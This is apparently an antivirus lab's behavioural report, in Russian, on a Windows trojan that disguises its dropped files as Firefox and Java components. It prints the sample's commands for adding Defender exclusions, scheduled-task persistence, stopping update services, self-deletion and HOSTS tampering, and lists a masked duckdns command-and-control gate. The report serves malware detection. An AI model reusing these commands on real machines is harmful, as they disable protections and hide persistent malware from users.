Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\atkqe26pdzs7j2kzp8
- <SYSTEM32>\tasks\oracle corporation
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /im atom.exe /f
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\conhost.exe
Перехватывает функции
в браузерах
- Процесс firefox.exe, модуль advapi32.dll
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nsp9434.tmp
- %TEMP%\7zsc9113a2d\core\plugin-container.exe
- %TEMP%\7zsc9113a2d\core\platform.ini
- %TEMP%\7zsc9113a2d\core\pingsender.exe
- %TEMP%\7zsc9113a2d\core\osclientcerts.dll
- %TEMP%\7zsc9113a2d\core\omni.ja
- %TEMP%\7zsc9113a2d\core\nssckbi.dll
- %TEMP%\7zsc9113a2d\core\nss3.dll
- %TEMP%\7zsc9113a2d\core\notificationserver.dll
- %TEMP%\7zsc9113a2d\core\msvcp140.dll
- %TEMP%\7zsc9113a2d\core\mozwer.dll
- %TEMP%\7zsc9113a2d\core\mozglue.dll
- %TEMP%\7zsc9113a2d\core\plugin-container.exe.sig
- %TEMP%\7zsc9113a2d\core\mozavutil.dll
- %TEMP%\7zsc9113a2d\core\mozavcodec.dll
- %TEMP%\7zsc9113a2d\core\minidump-analyzer.exe
- %TEMP%\7zsc9113a2d\core\maintenanceservice_installer.exe
- %TEMP%\7zsc9113a2d\core\maintenanceservice.exe
- %TEMP%\7zsc9113a2d\core\locale.ini
- %TEMP%\7zsc9113a2d\core\libglesv2.dll
- %TEMP%\7zsc9113a2d\core\libegl.dll
- %TEMP%\7zsc9113a2d\core\lgpllibs.dll
- %TEMP%\7zsc9113a2d\core\ipcclientcerts.dll
- %TEMP%\7zsc9113a2d\core\gmp-clearkey\0.1\manifest.json
- %TEMP%\7zsc9113a2d\core\gmp-clearkey\0.1\clearkey.dll.sig
- %TEMP%\leiddxeqvmsd.tmp
- %TEMP%\7zsc9113a2d\core\xul.dll.sig
- %TEMP%\nsf83c0.tmp\modern-wizard.bmp
- %TEMP%\7zsc9113a2d\core\private_browsing.exe
- %TEMP%\nsf83c0.tmp\installoptions.dll
- %TEMP%\nsf83c0.tmp\iospecial.ini
- %TEMP%\nsf83c0.tmp\summary.ini
- %TEMP%\nsf83c0.tmp\extensions.ini
- %TEMP%\nsf83c0.tmp\components.ini
- %TEMP%\nsf83c0.tmp\shortcuts.ini
- %TEMP%\nsf83c0.tmp\options.ini
- %TEMP%\nsf83c0.tmp\uac.dll
- %TEMP%\nsf83c0.tmp\system.dll
- %TEMP%\7zsc9113a2d\zoneidprovenancedata
- %TEMP%\7zsc9113a2d\postsigningdata
- %TEMP%\7zsc9113a2d\core\gmp-clearkey\0.1\clearkey.dll
- %TEMP%\7zsc9113a2d\setup.exe
- %APPDATA%\dialer_javaapps\jre1.8.0_341\bin\dialer_java.exe
- %TEMP%\7zsc9113a2d\core\xul.dll
- %TEMP%\7zsc9113a2d\core\vcruntime140.dll
- %TEMP%\7zsc9113a2d\core\updater.ini
- %TEMP%\7zsc9113a2d\core\updater.exe
- %TEMP%\7zsc9113a2d\core\update-settings.ini
- %TEMP%\7zsc9113a2d\core\uninstall\helper.exe
- %TEMP%\7zsc9113a2d\core\ucrtbase.dll
- %TEMP%\7zsc9113a2d\core\softokn3.dll
- %TEMP%\7zsc9113a2d\core\removed-files
- %TEMP%\7zsc9113a2d\core\qipcap.dll
- %TEMP%\7zsc9113a2d\core\precomplete
- %TEMP%\7zsc9113a2d\core\private_browsing.visualelementsmanifest.xml
- %TEMP%\7zsc9113a2d\core\freebl3.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\7zsc9113a2d\core\ia2marshal.dll
- %TEMP%\7zsc9113a2d\core\accessiblemarshal.dll
- %TEMP%\7zsc9113a2d\core\accessiblehandler.dll
- %TEMP%\7zsc9113a2d\core\accessible.tlb
- %APPDATA%\firefox_setup_114.0.2.exe
- %ALLUSERSPROFILE%\{2tyx3zvd-ksqb-ason-9vixgaxrw3et}\iexplore.exe
- %APPDATA%\java.exe
- %APPDATA%\atom.exe
- %TEMP%\7zsc9113a2d\core\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\7zsc9113a2d\core\browser\features\webcompat-reporter@mozilla.org.xpi
- %TEMP%\7zsc9113a2d\core\firefox.exe.sig
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\firefox.exe
- %TEMP%\7zsc9113a2d\core\firefox.visualelementsmanifest.xml
- %TEMP%\7zsc9113a2d\core\dependentlibs.list
- %TEMP%\7zsc9113a2d\core\defaults\pref\channel-prefs.js
- %TEMP%\7zsc9113a2d\core\defaultagent_localized.ini
- %TEMP%\7zsc9113a2d\core\defaultagent.ini
- %TEMP%\7zsc9113a2d\core\default-browser-agent.exe
- %TEMP%\7zsc9113a2d\core\d3dcompiler_47.dll
- %TEMP%\7zsc9113a2d\core\crashreporter.ini
- %TEMP%\7zsc9113a2d\core\crashreporter.exe
- %TEMP%\7zsc9113a2d\core\browser\omni.ja
- %TEMP%\7zsc9113a2d\core\fonts\twemojimozilla.ttf
- %TEMP%\7zsc9113a2d\core\browser\features\webcompat@mozilla.org.xpi
- %TEMP%\7zsc9113a2d\core\browser\features\screenshots@mozilla.org.xpi
- %TEMP%\7zsc9113a2d\core\browser\features\pictureinpicture@mozilla.org.xpi
- %TEMP%\7zsc9113a2d\core\browser\features\formautofill@mozilla.org.xpi
- %TEMP%\7zsc9113a2d\core\browser\crashreporter-override.ini
- %TEMP%\7zsc9113a2d\core\browser\visualelements\visualelements_70.png
- %TEMP%\7zsc9113a2d\core\browser\visualelements\visualelements_150.png
- %TEMP%\7zsc9113a2d\core\browser\visualelements\privatebrowsing_70.png
- %TEMP%\7zsc9113a2d\core\browser\visualelements\privatebrowsing_150.png
- %TEMP%\7zsc9113a2d\core\breakpadinjector.dll
- %TEMP%\7zsc9113a2d\core\application.ini
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\7zsc9113a2d\core\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\nsf83c0.tmp\modern-header.bmp
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\atom.exe
- %APPDATA%\java.exe
- %APPDATA%\firefox_setup_114.0.2.exe
Удаляет следующие файлы
- %TEMP%\leiddxeqvmsd.tmp
Подменяет следующие файлы
- %TEMP%\leiddxeqvmsd.tmp
Изменяет файл HOSTS.
Сетевая активность
Подключается к
- 'si######gion.duckdns.org':80
TCP
Запросы HTTP POST
- http://si######gion.duckdns.org/gate/connection.php
- http://si######gion.duckdns.org/gate/config.php
- http://si######gion.duckdns.org/gate/update.php
UDP
- DNS ASK si######gion.duckdns.org
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%APPDATA%\atom.exe'
- '%APPDATA%\java.exe'
- '%ALLUSERSPROFILE%\{2tyx3zvd-ksqb-ason-9vixgaxrw3et}\iexplore.exe'
- '%APPDATA%\firefox_setup_114.0.2.exe'
- '%APPDATA%\dialer_javaapps\jre1.8.0_341\bin\dialer_java.exe'
- '%TEMP%\7zsc9113a2d\setup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#mbiyksna#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Oracle Corporation' /tr '''%APPDATA%\dialer_JavaApps\jre1....
- '%ALLUSERSPROFILE%\{2tyx3zvd-ksqb-ason-9vixgaxrw3et}\iexplore.exe' ' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 15 /TN "ATKQE26PDZS7J2KZP8" /TR "%ALLUSERSPROFILE%\{2TYX3ZVD-KSQB-ASON-9VIXGAXRW3ET}\iexplore.exe" /F' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /im atom.exe /f & erase Гe & exit' (со скрытым окном)
- '%APPDATA%\dialer_javaapps\jre1.8.0_341\bin\dialer_java.exe' ' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 15 /TN "ATKQE26PDZS7J2KZP8" /TR "%ALLUSERSPROFILE%\{2TYX3ZVD-KSQB-ASON-9VIXGAXRW3ET}\iexplore.exe" /F
- '<SYSTEM32>\cmd.exe' /c choice /C Y /N /D Y /T 3 & Del "%APPDATA%\java.exe"
- '<SYSTEM32>\schtasks.exe' /run /tn "Oracle Corporation"
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "Oracle Corporation" /tr '%APPDATA%\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe'
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#mbiyksna#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Oracle Corporation' /tr '''%APPDATA%\dialer_JavaApps\jre1....
- '<SYSTEM32>\dialer.exe'
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /im atom.exe /f & erase Гe & exit
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\taskeng.exe' {12E5ECB9-B190-47CA-B27D-D5B3DC364E84} S-1-5-21-1238866942-1249195528-555854008-1000:xcegblgqqk\user:Interactive:[1]
Использует альтернативные потоки данных NTFS
